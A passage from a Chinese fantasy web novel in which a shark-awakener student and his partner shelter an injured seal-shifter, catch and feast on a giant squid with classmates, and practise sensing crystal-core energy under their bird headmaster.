海豹看着肚皮上的鱼翅，友好地用鳍盖上去。 这算是握手？ 夜鹭看着胖海豹都不知道说什么。 姜纶走进泡泡里，把海豹鳍和鲨鱼翅分开，摸了摸小鲨鱼的鼻尖：“看起来受伤不重，丢回海里放生吧。” 这是明显的酸话。 海豹留了下来。 小鲨鱼操纵着水流飞回到海里，背鳍都有些耷拉了。 姜纶把暖棚最后剩下的部分拼装好，兴致不是很高地走到院子里的一片空地，开始凭空造房子。 夜鹭和胖海豹对视：“你不止血没事？” 胖海豹自带微笑表情：“在止了。” 他用鳍比划了一下自己血刺呼啦的肚子：“运气不好，撞上了一群虎鲸，差点被咬成两段。” 夜鹭看了看，身上散发出一道柔和的浅蓝色光芒，覆盖住胖海豹。 胖海豹身上还在流血的伤口不到一分钟就止住了：“谢谢夜先生。” 终于，活下来了。 他还以为这次死定了。 沙伍抓着一堆鱼虾回来，看看瘫在院子里苔藓上的肥美海豹，再看看自己兜兜里的普通鱼虾，感觉不是很好吃。 海豹的鼻子动了动，抬头看到沙伍：“我是人，真的。” 在海里被小鲨鱼咬住的时候，他以为感受到的那种捕猎的喜悦是自己的错觉，现在一看，敢情是人家真的想吃海豹。 想吃海豹就吃海豹吧，可不兴吃人啊。 “哦，对不起。我不是故意咬你的。”沙伍从兜兜里掏出一条鱼，“吃鱼吗？” 海豹刚想说自己现在的身体状况，不方便直接食用带污染的食物，突然感觉到眼前的鱼没有一丝污染，原本就圆的眼睛，一下变得更圆了。 他看了看沙伍，又扭头看了看夜鹭。 夜鹭歪着头看了他一眼，对沙伍说道：“还是别吃生的。厨房机器人应该也带了吧？” “带了。”沙伍明白了，对海豹摆摆手，“海豹先生，你先休息，一会儿吃饭的时候我叫你。” 说着，他还顺手凝聚出一团水，把海豹身上的血给冲洗干净，露出环斑海豹特殊的灰色波点花纹。 海豹冲着沙伍摆摆手：“麻烦你了。” 午餐时间，餐桌上多出一只胖海豹。 受限于身体结构，他是直接趴在桌上的。 接近一米五的身长在海豹中算是个头小的，但这么摆在桌子上，还是占据了很大一块。 沙伍第一次近距离接触海豹，不由得多看了两眼。 海豹的脑袋看上去真小。 海豹吃鱼的样子真有趣。 海豹原来也能喝粥，喝粥的速度好快。 半锅粥呼噜一下就没了。 剩下的半锅粥是沙伍的。 姜纶和夜鹭吃的是米饭。 海豹快速吃完属于自己的那份食物后，等其他人都吃完，才弯着嘴角说道：“就知道你们华夏的好东西多。这是几号变异水稻？真滋养。有没有多的，能卖给我一些吗？” 姜纶回答：“实验室品种，还没有正式编号。” 这种实验室品种，其实和沙妈妈安装的生物义肢情况类似。 技术要求肯定是高的，但是技术成熟，只是应用场景不广，性价比不高，种植面积小。 海豹一听，倒也没失望：“我就说效果比春寒365的效果好那么多。”他忍不住又问，“真的不能卖给我一点吗？” “不能。没有了。”今天就带了这么多，“春寒365对于伤后恢复的效果已经很好了。” 现在吃的这个大米，对于伤后恢复的作用和春寒365差距不大，主要还是能量温和，滋养效果非常好，更适合宝宝体质。 生蚝岛上的情况，不适合大米这样的食物长期储存。 姜纶是要吃多少带多少。 这次过来待一天，姜纶就带了一小袋。 “好吧。”海豹看着沙伍，“你是净化者？能帮我净化一下吗？” 他现在身上的污染有点高，为了逃命差点被污染到失去理智，现在都没能恢复人形。 “啊？不太好吧，我控制不好。”沙伍虽然一直说自己是净化者，平时也跟班级里的小丑鱼和虾同学两位净化者的关系更加亲近，但净化人什么的，除了姜纶，还真没在别人身上实操过。 想了想，他给海豹罩上一个泡泡，“这样你会好一点吗？” 他这个泡泡对净化自然界中游离的污染效果不错，用在污染值不高的猎物身上也不错。 异能小鲨鱼的净化更加立竿见影，但更像是杀伤手段。 海豹在泡泡里翻了个身：“谢谢，这样就好。” 从被小鲨鱼一口咬住开始，他难以自控的污染值就停止了上升，进入到这座庭院后，污染值就一直在下降，虽然速度很慢。 姜纶看海豹躺在餐桌上难受，用生疏的木系异能催生出了一些灌木。 毕竟不是天生木系，他使用木系异能多了一个转化的步骤，加上他的异能太难控制，最后得再进行一番加工，才勉强看得出一个躺椅的形状，跟能够直接催生出漂亮家具的薛春差距巨大。 沙伍全程在边上看着，用泡泡把海豹搬到躺椅上休息。 海豹面朝1月的北冰洋，抬起脑袋，胡子颤抖：“我觉得我是不是更适合待在温暖的室内？” 沙伍伸出手指戳了一下海豹软乎乎的腰……大概是腰的位置：“家政机器人还在打扫。那就是个小机器人，打扫起来比较慢。你的肉肉和毛毛不抗冻吗？” 海豹用短短的鳍抱住胖胖的自己：“我是个伤患，差点断成两截的伤患。”不是过去健康的雄壮威武的大海豹。 失血过多，体温下降，冷得厉害。 庭院有泡泡，有墙和绿篱的遮挡，温度比起海岛其它地方确实要暖和得多，但架不住他是个刚死里逃生的伤患啊！ 能不能正确认识一下死里逃生？ “哦，对不起。”沙伍尊重伤患的要求，把海豹挪回了室内，自己动手收拾出了一块地方。 海豹看着客厅角落里的……窝，长长叹气，隔着落地窗看在外面院子里忙活的两个年轻人，问夜鹭：“夜先生，你的这两位学生是不是……”脑子有问题？ 他只是现在污染值太高，没法恢复人形而已，不是小动物，更不是狗啊！ 这个无限接近于狗窝的角落到底是怎么回事？ 他是海豹啊，不要把他当做遛弯捡回来的流浪狗啊！ “我不配拥有一个房间吗？” 坐在粉色秋千上的夜鹭，吞下一条银鱼干：“不配。” 海豹鳍微卷，指向自己：“我好歹也是九级以下第一人。” “起码有十个的‘第一人’，实力还不如前几天我们收拾掉的变异蘑菇。”夜鹭的语气没太当一回事，“这房子总共就两个房间，他们一个，我一个。你有个窝睡就不错了。” 海豹只是止血，经过夜鹭半吊子治疗的伤势基本稳定，但要康复，只能靠自愈，身上的污染值下降速度缓慢，难受到根本没法好好休息，只能想办法转移注意力：“变异蘑菇？” “嗯。你回去之后，有空也可以排查一下。”夜鹭跟他简单说了一下寄生蘑菇的事情，“极光城天寒地冻的，应该没有这方面的困扰吧？” 海豹听得感觉自己的命又去了一半：“极光城夏秋季的蘑菇资源很丰富的。哪天我给您送些蘑菇。” 极光城的人口本来就少，要是再发生类似的寄生事件，他都不敢想后果。 粉色的毛绒绒的秋千晃了晃，夜鹭说道：“我去通知独角兽，你在这里待一阵。” “麻烦夜先生。” 海豹看着飞走的夜鹭，艰难地“流淌”到地上，挪到给自己准备的窝里，刚要躺平突然感觉到一阵怪异，扒拉了一下厚实的垫子，下面竟然全是拥有治愈和净化异能的蚝珠和晶核，甚至还有一颗非常大的珍珠。 姜纶和沙伍简单收拾了一下庭院和多出来的副楼，回来没看到夜鹭，倒是惊醒了海豹。 海豹对他们招招手。 沙伍马上就走了过去：“海豹先生是睡得不舒服吗？”他特意挑了个厚实的垫子，本来还以为海豹那么厚的脂肪，应该不会和豌豆公主一样。 海豹看了看姜纶，最后还是把注意力放在沙伍身上：“是不是还没开始学异能链路？我来教你。” 沙伍在海豹窝前盘腿坐下：“异能链路是大二的课程。” 他看过课程安排。 大一学的都是数学、数学和数学。 大二开始学异能链路的理论知识。 大三才开始真正上手。 到大四还需要再学习一年，然后水平大概就相当于珠宝城设计师。 想要真的构筑出一个强力异能链路，得考研，学茫茫多的各种数学相关学科。 海豹不以为意：“不用在意那些教条。只是画一个能够激发晶核能量的链路，很简单的。” 海豹下意识想使用手环，发现自己的手环已经不知所踪。 沙伍给他递过去一块光屏。 海豹试了试，把自己的右鳍变成了右手，对着光屏开始叭叭：“所谓的链路，其实就是一条稳定的异能通道。与其说这条通道激发了晶核的能量，不如说是晶核通过链路来释放自己的能量。 晶核平时就会散逸出一部分能量，只是不够稳定，且量比较小。 链路就是一道水闸，加一条运河，起到控制水量大小和水流方向的作用。” “嗯。” 海豹扒拉了一颗最小的晶核出来，递给沙伍：“试试。” 沙伍拿着半粒绿豆大的歪七扭八的晶核，一脸茫然：“试什么？” 海豹说道：“冥想会吧？” “会。”长着一只人手的海豹好怪。哦，又变回去了。 “那行。你现在闭上眼睛，冥想，然后把注意力集中在手上的晶核上。” 沙伍一秒钟进入冥想状态，出现的是熟悉的星空，想想觉得不对，又马上退出冥想状态：“您再说一遍怎么做。” 海豹重复：“冥想状态能够更好地感受能量。等你把注意力集中在晶核上，会发现晶核的能量并不稳定。” 沙伍进入冥想状态，除了自己的星空之外，连自己的手在哪儿都感受不到，更别说手上拿着的晶核了。 说起来，双修的时候也是姜纶的能量单方面灌输进他的星空，他好像没去过姜纶那里。 不行，他得想个法子串门。 鲨鱼在星空中遨游，连自己家门在哪儿都找不到。 姜纶把一株鹿角蕨加上苔藓，固定在一块木板上，拿着进来看到沙伍在冥想：“我教过。小鲨鱼刚开始接触异能没多久，现在只能学一些理论知识。” 海豹惊讶：“刚开始？多刚？” “去年七月份，到现在刚好半年。”姜纶把鹿角蕨挂到厨房的墙面上，见沙伍还在冥想，看了看时间，“我们得回去了。” 海豹瞬间哭唧唧：“你们要走了，把我一个人丢在这里？” 姜纶奇怪地看了他一眼：“你现在不是好多了？夜老师也帮你去叫人了吧？”他想着或许海豹的身体情况比他预想中更差，不方便移动，“岛外围的礁石上有很多生蚝可以吃。” 海豹张了张嘴，原本就集中的五官连胡子都在往中间挤：“我甚至还得自己找食物吃？” 海豹当场表演一个豹哭。 姜纶铁石心肠。 沙伍还在冥想状态中。 贸然把人从冥想状态中叫醒，具有一定危险性。 姜纶叫醒沙伍就不一样了，简单握住沙伍的手。 星空中的小鲨鱼被金龙裹挟着往外飞。 明明是同一片星空，小鲨鱼自己觉得是在游，被姜纶带着却是在飞。 他还知道哪里是外面。 在意识冲破某种屏障的瞬间，他“看到了”一团微小的能量，一颗和自己不一样的星星，不断往外面飘散着轻纱一样的能量。 他慢慢张开眼睛，把手上的晶核拿给姜纶看：“这是个荷包蛋。” 海豹瞬间不假哭了，抛开对于伤患的正当要求，继续完成自己的教学：“既然看到了，接下来要做的就是激发晶核的能量。用自己的异能找到晶核能量的切入点。” “哦，这个我熟。”他最擅长找到异能的薄弱处了。 迷你异能小鲨鱼精准切入“荷包蛋”能量不均衡的间隙，对准晶核一口咬下。 “轰”地一声，异能小鲨鱼炸成了渣渣。 第57章 巨型鱿鱼 这是一颗带有治疗异能的晶核，当然不可避免地掺杂了一点杂质，水系的和木系的，让晶核呈现出一种让沙伍不喜欢的杂色。 炸开的晶核变成了大团紊乱的能量，其中的治疗异能迅速治愈了爆炸带来的伤害。 始作俑者的沙伍一丁点伤都没受，被姜纶的一道结界包裹。 炸开的异能冷冷地往海豹身上拍。 海豹觉得这个小孩儿是真讨厌，无奈只能抓紧时间吸收猛然全部释放的治疗异能，一边心痛到豹哭。 治疗异能的确能够治愈伤害，但治愈不了被炸掉的毛。 他是环斑海豹，不是环秃海豹！ 知不知道一身漂亮的毛，对于雄性有多重要！ 哦，小鲨鱼没有毛，肯定不知道。 多么珍贵的治疗异能啊。 小屁孩没过过苦日子，就是浪费。 海豹用圆溜溜的眼睛，一眼一眼地控诉沙伍，又悄咪咪看了一眼姜纶。 这都什么怪小孩！ 他们极光城…… “啾——”一声略微高亢悠长的叫声响起。 海豹垂死病中惊坐起。 姜纶和沙伍同时看向门外。 银白色的独角兽顶开门，脚步轻盈地走进来：“谢谢你们。” 沙伍看着走到自己跟前的传说中的美丽生物，眼也不眨。 她的体型不大，甚至算得上小，姿态优雅，没有给沙伍任何的压迫感，明明走在地上，却像是落在云端。 独角兽把环斑海豹带走了。 沙伍跟着跑到了悬崖边，看着独角兽直接飞进了海洋，一头独角鲸冒出来。 “有空来极光城玩。” 独角鲸说完，带着环斑海豹消失在漆黑的海水中。 夜鹭落在沙伍头顶：“有什么话想说？” 沙伍看着翻腾的海面，过了一会儿才往回走：“院长，还有人的觉醒体可以变来变去的？” “你不是看到了？独角兽的来源之一就是独角鲸，也不算是变来变去。”夜鹭进到房子里，突然觉得有哪里不对，在客厅里飞了一圈。 姜纶在给家里的机器人设置日常维护程序：“别看了，他们把狗窝和鸟窝都给带走了。” 夜鹭震惊得头毛都劈叉了：“他们一个九级一个八级……我的秋千……” 沙伍耿直：“您不是不喜欢吗？” 夜鹭大怒：“再不喜欢那也是我的！” 它背着翅膀，从沙伍的左肩走到右肩，又从右肩走到左肩：“丫的！连吃带拿，太不讲究了！” 姜纶拿出一把小巧的石刀：“她留下了这个。” 石刀像是一把短柄的斧子，巴掌长的木柄中间嵌着一把比木柄略短的银杏叶形状的石刃。 沙伍拿到手里，木柄油润光滑，石刃看得出很明显的岁月痕迹，还有裂纹和崩口。 他拿着比划了一下：“这个拿着不太顺手。”中式菜刀都是手柄在后刀身在前，改成手柄在上刀身在下的模式……他比划了两下，“有点像历史课上描述的断头台。” 夜鹭看到这把石刀的时候就不生气了：“这是乌卢刀，极光城传统的菜刀，原先是当地妇女用来处理冻肉，或者凿冰。手柄在后面不好处理那类硬邦邦的东西。这把是纳瓦尔曾经的武器，别名，断头台。” 沙伍看着手上普普通通的巴掌大的石刀：“断头台？” 或许是传说故事滤镜，他觉得那位叫纳瓦尔的女士，无论是独角兽还是独角鲸的形态都很温柔，很难想象竟然会有一把叫断头台的武器。 纳瓦尔姐姐一定是被逼的。 极光城是全球地理位置最恶劣的人类聚居点之一，位于北极圈内。 纳瓦尔姐姐要是不强悍一点，怎么能在北极圈内立足，怎么能庇佑人类生存？ 应该不只是纳瓦尔如此：“所有庇护一方的九级，都是温柔且强大的人。” 夜鹭不自在地动了动爪子。 姜纶用一种怪异的眼神看向自带猥琐气场的夜鹭，再想想自己爸妈和姐姐，撇开更爱动手这一点外：“嗯，小鲨鱼说得对。”确实温柔且……过分强大。 天空已经漆黑一片，天空中能够看到瑰丽的极光。 沙伍下意识看了看时间，发现还不算很晚。 夜鹭给了他一点时间观赏风景，再把小鲨鱼往海水里一扔。 沙伍还以为是让自己抓一些晚餐的食材，熟练地寻找虾群和鱼群，还冒头让姜纶撬几个生蚝：“撬几个小点的，我带回去给同学们分。” 后土城太好玩，玩了六天，也就是去了几个比较著名的大景点，完全忘记了给同学们买土特产。 生蚝岛的土特产也是土特产。 姜纶可没沙伍这么单纯，要跟着一起跳下去，被夜鹭一爪子丢到礁石上：“没听到沙伍说的吗？乖乖去撬生蚝。” 姜纶打不过夜鹭：“你别老是拿小鲨鱼钓鱼！” 夜鹭抬起爪子挠挠脖子，语气敷衍：“哦。” 感觉到沙伍的速度比较慢，他直接飞过去，把沙伍从海底叫起来，抓到食物更加丰富的海域丢下去，没一会儿就抓到了一只体长二十多米的巨型鱿鱼。 食材难得，夜鹭飞回去的速度比平时更快：“白灼、爆炒、烧烤、油炸~” 沙伍看着泡泡里还在抽抽的鱿鱼须，给自己额外再套了个泡泡，大鱿鱼隔开，脸色还是很苍白，但眼睛亮亮的：“听上去很好吃啊。这么大个的，肉会不会很老啊？” “大白鲨都快吓成白海豚了，以后别那么配合夜老师。”姜纶抬头看看兴高采烈飞出金边的夜鹭，再看看惊魂未定却已经开始眼馋的小鲨鱼，伸手拍拍后背，“不会老，味道还不错。” 沙伍往他身上一靠：“你吃过？” 很少见姜纶觉得有什么食物不错的。 平时他吃着觉得很好吃的东西，姜纶吃着都是一副面无表情完成任务的样子。 “吃过。小时候我妈给我抓到过几次。这东西很少，比较难抓。”果然他家小鲨鱼对变异生物的诱惑很大，一定得尽快养好身体，提升实力，不然不知道什么时候就被奇奇怪怪的东西给抓去吃掉。 沙伍完全没察觉到姜纶的忧心忡忡，注意着手环一有信号，就给祁大厨发了巨型鱿鱼的照片：吃！ 祁大厨一收到消息，立马就把宿舍里的一大群人叫了出来，在院子里飞快摆开架势，磨刀霍霍：“来大活了！” 当巨型鱿鱼被放在宿舍草坪上时，那种震撼无与伦比。 祁大厨一边琢磨菜单分派工作，一边跟沙伍说道：“去叫你同学和老师们过来，大家分一口。这东西吃了对身体好。” 沙伍立马照做。 今天是假期的最后一天，同学们已经全部返校。 沙伍在班级群里喊了一声，十班同学们瞬间一个不少的都来了。 老师们也随后陆续赶到。 他们这个假期大部分都宅在家里躺平，出门做客，收拾了一下仪容仪表，过来前去准备了一些礼物，这才比学生们来得晚了一些。 学生们大部分不是去旅游就是回家，有带土特产的有些已经提前交换过了，有些没带的空着手上门也正常。 看到巨型鱿鱼的当下，所有人都先兴高采烈各种合影。 “哇！这个好帅！” “天啊，我们真的要吃这么大的鱿鱼吗？” “我都怀疑我都不够这鱿鱼吃一顿的。” “这鱿鱼的实力得多强啊，怎么打到的？” 以小鲨鱼当鱼饵，被双马尾小水鸡抓起来的。 沙伍简单说道：“院长抓的。我们带了一些生蚝回来，想怎么吃？” 梁伯在那儿喊：“开晶核了，快过来看！” 一群学生顿时一窝蜂涌过去。 低级异能生物开出晶核的概率比较低，但是高级变异生物开出晶核的概率几乎是百分百，差距只在于晶核的品质。 这条鱿鱼被夜鹭一击毙命，缠斗都没有缠斗，晶核内的能量几乎没有损失。 当三颗晶莹剔透的瑰丽晶核被夜鹭叨出来的时候，几乎所有围观的人都长大了嘴巴。 沙伍拿起其中一颗龙眼大小的海蓝色的晶核，只是拿在手上就仿佛能够听到海浪的声音，里面的蓝色更像是萃取了一整片海洋，漂亮得不可思议：“院长，这个好漂亮！就是有点小。” 他还以为那么大的鱿鱼，开出来的晶核会很大。 夜鹭把剩下的两颗红色和黑色的晶核交给学生们传看：“拿去看，我一会儿拿回去垫窝。” “院长有窝吗？” “院长是要繁殖了，才开始筑巢吗？” “院长那么小一只，能找到伴侣吗？” “院长找伴侣是要去朱雀城找吗？” “不用吧？潮汐湖不是有很多夜师傅、白师傅和苍师傅？” “院长有什么要求？” “限定种族吗？” 十班的学生们围着夜鹭叭叭叭，很快被夜鹭挨个叨了一遍：“滚去给老子烤生蚝！我要吃蚵仔煎，放鸭蛋，不要鸡蛋！生蚝要小个儿的。” 学生们只能去玩一玩生蚝，老师们则更多的是对巨型鱿鱼上手，然后很尴尬地发现破不了防。 两位家庭医生急赤白脸：“等等等等！我们先把能用的材料分割出来！” 祁大厨骂骂咧咧：“快点，都等着你们呢！” 几个七级毫无办法的鱿鱼，两位八级拿着手术刀分割起来速度很快，剩下的就是祁大厨和阿大阿二的主场。 其他人想要上手帮忙，只被分到一小段鱿鱼须，让他们切着玩。 夜鹭单独抓了一段鱿鱼须给鲛人：“异能百分百集中在右手。” 鲛人狰狞的外表褪去，只留下一条完全覆盖住鳞片的右臂，再一点点把变异压缩到手腕以下。 整只右手非常大，几乎相当于半条手臂，自然下垂到了膝盖的位置，看上去十分狰狞恐怖。 在几位老师看护下远远围观的学生们从来没见过潘老师这副模样，脸色都有些异样。 高阶异能战士释放100%变异值带给菜鸟们的压迫感，比形态的变化更加恐怖。 庭院像是分割成了两个部分。 一边在热火朝天地煎炸烹炒，一边则肃穆地教学。 “污染值10%。” 潘辰星的右手竟然慢慢变小。 夜鹭继续说道：“污染值20%。” 右手除了鲛人的形态外，已经变得和左手一样大小。 “污染值30%。” 潘辰星的额头渗出细密的汗珠，右手上的鳞片一点点褪去，尖锐如匕首一样的指甲缩短，最后只剩下手腕处突出的骨刺。 沙伍嗅了嗅，闻到一股很清新的海洋的味道，不是鱼腥味，而是类似珍珠的那种气味。 要说气味也不是很准确，他有点形容不来。 “继续。”夜鹭身上亮起一层蓝色光晕，覆盖住潘辰星。 小风拿着托盘过来，给他们分烤鱿鱼串，最后站在沙伍身边：“要不要坐着吃？” 沙伍手上拿着鱿鱼串，眼也不眨：“等等。潘老师是不是要突破到八级了？” 他拿着不吃，小粉猫突然跑过来，跳到他怀里，一口把鱿鱼串整个儿吃下，留给沙伍一根签子：“喵~” 小风看了看：“还差一点。今天大概不行。不许抢小伍的。”她把小粉放到沙伍肩膀上，重新给沙伍递了一根烤鱿鱼，“32%……35%……38%……哦豁，40%。” 潘辰星的手已经和平时人类的时候完全一样。 夜鹭指了指还在扭动的鱿鱼须：“切断它。” 没有锋利的爪子，没有尖锐的骨刺，人类修剪整齐圆润透着粉色的手指，轻轻对着水桶粗的鱿鱼须一抓，似乎都没有碰到，鱿鱼须整个就断裂开来，断面整齐如刀切。 蓝色光芒温和静谧，潘晨星身上的气势潮水一般褪去。 夜鹭说道：“好了，记住这种感觉。自己慢慢练习。” 潘辰星脸色苍白，全身几乎被汗水浸透：“谢谢院长指导。” 潘辰星被带去洗澡换衣服。 等人看不见了，十班的一群菜鸟们才长舒一口气：“呼——” 二十多个人一起吐气的声音，把所有人都吓了一跳。 他们面面相觑，随即嬉闹起来。 “潘老师是不是八级了？” “好牛逼！” “潘老师突破了之后，是不是不会教我们基础课了？” 小风把他们赶去吃饭，并且泼他们冷水：“你们潘老师还没到八级呢。快去吃东西，一会儿冷了。” “这还没到八级吗？” “不是说40%了？能够控制污染值40%就到八级了吧？” 小风看向提问的海豚班长：“对啊，能够控制。他刚才是在院长的帮助下短暂提升到的40%，并不是来自于他自己的控制。不过能够提前感受一下，对往后突破肯定是有帮助的。” 李老师他们还在痴痴看着潘老师已经看不见的背影。 十班的同学一边吃烤鱿鱼，一边去等快熟的蚵仔煎，眼睛一个比一个瞪得圆。 “我就说潘老师长得这么帅，上课还有趣，性格又好，肯定有很多追求者。” “万人迷潘老师！” “老师们都是潘老师的追求者？” “是的吧？” “沙伍，你跟李老师相处时间多，有没有看出点什么来？” 沙伍嘴里塞满了弹牙的鱿鱼，指了指自己。 他什么时候跟李老师相处时间多了？ 难道写检讨叫家长也算是相处时间？ 桃花水母用一根纤细的触手戳戳他：“说句话。” 沙伍把嘴里的鱿鱼咽下去：“那我就说一句。鱿鱼好吃！” 老师们人均七级，很多都是刚刚稳定在七级的门槛上，压根都不知道距离八级有多远。 现在他们能够亲眼看着一位同事摸到八级的门槛，羡慕得不要不要的。 还没从羡慕的情绪中脱离出来呢，就见一群学生追着沙伍嗷嗷叫。 “干什么！” “都停下！” “好好吃饭！” 不是上课时间，学生们压根不怕老师，把他们的话当做耳旁风，在院子里疯跑，还不忘记看哪里熟了就捞两口吃的，一点都不耽误。 学生们也吃不了多少。 一条需要七级巅峰拼尽全力才能切开的鱿鱼，其中蕴含的能量足够这些一级都没有的学生们消化一阵的了。 给他们的烤串也好，各种鱿鱼做成的菜也好，每一份都切得小小的。 即便如此，他们很快就一个个东倒西歪瘫坐在冬季枯黄的草坪上。 鲨鱼泡泡笼罩之下，他们倒是不觉得冷，就是撑得难受。 洗了个澡换了身衣服出来的潘老师，笑容比平时更加温和：“都抓紧时间，起来冥想，不然吃进去的能量都浪费了。” 变异生物绝大部分的能量都集中在晶核中，残留在身体里的能量其实已经很少了，但这个很少是相对而言。 一条八级变异的鱿鱼，还是带有体质变异方向异能的鱿鱼，身体中蕴含的能量，如果不是十班的学生们一个个天赋值都不低，压根吃不了。 把过量的水倒进一个小袋子里，水满溢出来只是最好的结果，严重一点的会直接把袋子撑爆。 学生中间机灵的像是小丑鱼、玳瑁几个，不用老师说就已经在冥想了。 剩下最懒的几个也在李老师的敦促下，歪七扭八地起来，盘好腿开始冥想。 沙伍躺在那里，脑袋下还垫着个猫。 李老师想去把他提溜起来。 小粉猫：“哈——” 李老师在察觉出这只小粉猫的实力后，差点骂人。 现在八级是那么常见的事情吗？ 丫的一个好好的八级，能不能有点尊严？ 给人当枕头是怎么一回事？ 李老师只能举起双手，后腿一步：“沙伍，起来冥想。” 沙伍吃太撑了，不想动：“我不能躺着冥想吗？” 李老师很想说不行，但看了看脑袋上在长出犄角，尾巴已经三米长的小粉猫，识时务者为俊杰：“行，你好好冥想。” 姜纶难得多吃了一点，但也没吃很多，走过来跟李老师打了声招呼，躺在了沙伍旁边。 李老师看着姜纶伸手把小粉猫拽成一个双人枕头，嘴角直抽抽。 算了，他是来吃好吃的，不是来带孩子的。 他得多吃大吃特吃，弥补精神损失。 大鱿鱼的能量对身体的强化作用非常明显。 沙伍冥想了一个小时，睁开眼睛的时候感觉自己浑身充满了能量：“我能打三……” 他看了看，草坪上已经不见了菜鸡同学们的身影。 剩下来的人，他每一个都打不过三分之一，只能调整了口径：“我能长三斤！” 为了沙伍体重操碎了心的，以祁大厨为代表的好几个人一起看了过来。 “三斤，我可记着了。” “今天吃进去的都没三斤，还长三斤？” “小伍你就吹吧。” 沙小伍输人不输阵，心虚得一批，嘴还很硬：“等着我明天的体检报告！” 他的体重曲线一直在直线上升好不好？ 区区三斤而已，觉醒体他能一次长十斤！ 体重没长。 沙伍看着体检报告上的数字，又去划拉前几天的数字，确认没变。 姜纶陪着他研究一个相同的数字足足三分钟，忍着笑：“看来是到平台期了。” “有道理！”沙伍从医院的椅子上坐起来，“我今天晚上再多吃几口鱿鱼。” 姜纶告诉他一个不幸的消息：“没有了。” “什么没有了？” “鱿鱼没有了，吃完了。” 沙伍感到不可思议，让开一个急匆匆的不知道是病人还是家属，等走到医院外面坐上飞车，才比划了一个大大的圆：“那么大一条鱿鱼，一顿就没了？晚餐加夜宵，也不应该啊。” “留出两条鱿鱼须给学校食堂，剩下的夜老师一口吞了。”其实他们昨天那么多人，最后也就是只吃了一条鱿鱼须和一点点其它部位。 鱿鱼实在是太大了，能量又高，吃不了太多。 “哦，院长啊，那没事了。”他见夜鹭吞过许许多多比自己个头大很多的东西，吞那么大一条鱿鱼也正常，“夜师傅果然是最强的！下次让夜师傅带我去抓海豹。” 姜纶看他在网上搜索各种海豹的图片和分部地点：“还放不下海豹？”指给他看海豹群里面一溜的四级起步的异能等级，“海豹很少有落单的。几乎每个海豹群里都有七级以上的高阶。” 沙伍看了看姜纶：“男朋友帮我抓。” 姜纶搂住沙伍：“男朋友只抓得住小鲨鱼。” 沙伍把他两条胳膊扒拉开，又抱住他亲了一口：“可怜的姜小龙，只能靠我这个男朋友来养了。” “好啊。” 飞车停在了宿舍门口。 沙伍下车的时候都没关掉光屏，沿着海豹的栖息地一路看各大海域的土特产，坐上早餐桌问祁大厨：“叔，我们寒假去南极抓企鹅？” 抓不到海豹，暂时抓海豹的食物。 祁大厨一看他这幅样子就知道他体重没涨，压根懒得理他：“吃你的宝宝餐。” 梁管家提醒：“寒假要抓紧时间建新宿舍。小伍也得帮忙。” 沙伍顿时连坐姿都端正了：“有我能帮上的忙吗？” 薛春说道：“有，除草。” 第58章 一级 元旦过后，一眨眼就到了期末。 有人轻轻松松，有人哭天抢地。 比例差不多五五开。 全都轻松的比较少，哭天抢地的哭着不同的课程。 姜纶这种几乎没上过一节课的非常轻松，还天天拉着沙伍谈恋爱。 夜鹭看不过眼，就给沙伍安排了更多课程：“有时间浪费时间，还不如多学点知识。” 沙伍倒是不反对上课，但是：“我没浪费时间。” 再说马上就要放寒假了，为什么还要上新课？ 不能让他开开心心过个假期吗？ 他还没想好怎么过呢。 夜鹭冷笑给他看：“呱。”一翅膀拍他后脑勺上，“上课吧你！链路搞明白没？到现在一条线都勾不出来，只会咬晶核的蠢货！” 夜鹭一动手，沙伍就怂了，不敢说那不是他一个大一学生能够掌握的技能。 教育方面，谁能比院长更权威？ 没有。 沙伍现在也不是练画链路，而是卡在了第一步，感受晶核的能量。 之前他在姜纶的带领下，有过一瞬间看清楚过晶核的能量，像个不规则的荷包蛋。 但是现在没有姜纶的带领，他再怎么努力冥想，都没再看到过“荷包蛋”，倒是吃了不少荷包蛋。 阿大敲门进来：“夜老师，小伍，吃点心了？” 沙伍立刻把晶核往课桌上随手一放，欢呼一声，一眨眼就跑下了楼。 夜鹭直接飞去了餐厅，一点都不意外地看到沙伍的点心盘子里有一个荷包蛋，形状和他今天拿出来的晶核一样：“为了给沙伍作弊，你们也是够拼的。” 今天的晶核是个非常不规则的形状，掺杂了三种异能，真的是难为阿大特意把一个鸡蛋做得这么多姿多彩。 沙伍吃着不太好看的荷包蛋，努力把荷包蛋和晶核之间联想起来，但是没用。 他觉得没能在学习上有所突破不是他的问题。 等吃完点心，重新回到教室后，他斗胆跟夜鹭提议：“院长，要不我拿一颗长得好看的晶核练习？” 夜鹭刚刚被肥美雪花牛肉安抚下去的情绪又要上扬：“咋？你以后打架还得先看看对方颜值？” “那肯定不会！”沙伍立刻否认，“还得看长得好不好吃！” 夜鹭把沙伍摁在课桌底下扇，最后还是同意他换了一枚所谓的好看的晶核。 家政机器人推着一辆小推车过来，上面摆放着专门装晶核的首饰盒。 透明罩子里，各种颜色、大小的晶核分门别类，摆放得整整齐齐。 另外有几个单独存放的首饰盒，里面放着的都是一些形状比较特别的晶核，像是水滴形、心形、花朵造型等等。 夜鹭好奇地翻看了一下：“你还有个小鸟造型的！” 沙伍打开首饰盒，把里面五彩斑斓黑的珠子放在夜鹭身边比划：“对。一个鲍鱼里开出来的，是不是长得跟您很像？可惜只有一个，等再凑到一个，就给您打一对手环装饰。” 夜鹭不解：“为什么手环装饰要一对？”沙伍自己的小鲨鱼贴纸不就只有一个？ 沙伍把小鸟鲍珠放好：“当然是给您和您的伴侣啊。” 夜鹭“哦”了一声，觉得有道理，突然觉得不对，后脑的白毛竖起：“我哪儿来的伴侣？！” “您不是有窝了？作为一只鸟，不下蛋为什么要筑巢？”沙伍没大没小地摸摸夜鹭脑袋，“别害羞。谈恋爱是正常的。” 夜鹭冷眼看他：“皮痒了是不？” 沙伍放下狗胆包天的爪子，对着夜鹭院长露出讨好的笑：“那你喜欢什么？” 他确实想凑一对，毕竟院长是双马尾。 好吧，他不敢。 院长打人是真疼。 他挑了一颗最大的能量最充沛的红色火系晶核，瞬间进入冥想状态。 熟悉的星空璀璨。 沙伍感觉到自己的意识在星河中穿梭，比在海洋中更加灵活轻盈。 漏出去的能量比起以往来要少了起码1%。 这个进度看起来不快，其实已经不算慢了。 他和姜纶才双修没多久，就已经有现在的进度，等多睡……不是，等多双修几次，伴随着他实力的上升，进度肯定会越来越快。 乐观点估计，大二应该就能解决掉他身体上的漏洞。 到时候他的实力一日千里，分分钟就能超越姜小龙，脚踩夜小鹭！ 他想得太投入，突然发现自己在沿着星系之间能量流动的通道游。 没有外力的作用，他的星空之间的联系几乎微弱不可查。 